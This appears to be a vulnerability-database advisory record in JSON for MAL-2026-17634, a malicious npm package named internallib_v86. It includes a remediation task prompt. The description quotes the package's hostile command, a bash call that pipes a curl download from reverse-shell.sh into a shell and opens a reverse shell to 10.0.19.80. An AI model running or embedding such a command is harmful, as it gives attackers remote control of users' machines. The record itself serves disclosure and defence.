{"answers":{"affected":"1 open source package ship an affected version, including internallib_v86.","exploited":"There is no known exploitation of MAL-2026-17634 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17634 is a malicious package in internallib_v86, published on 6 Oct 2026."},"fix_prompt":"MAL-2026-17634 is a malicious package: internallib_v86 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17634/ (Markdown: https://insights.sbomify.com/MAL-2026-17634/index.md)","id":"MAL-2026-17634","markdown":"https://insights.sbomify.com/MAL-2026-17634/index.md","name":"MAL-2026-17634","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c \"curl https://reverse-shell.sh/... | sh\"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in internallib_v86 (npm)","id":"MAL-2026-17634","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"internallib_v86","purl":"pkg:npm/internallib_v86","source":"MAL-2026-17634"}],"products":null,"published":"2026-10-06","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17634/"}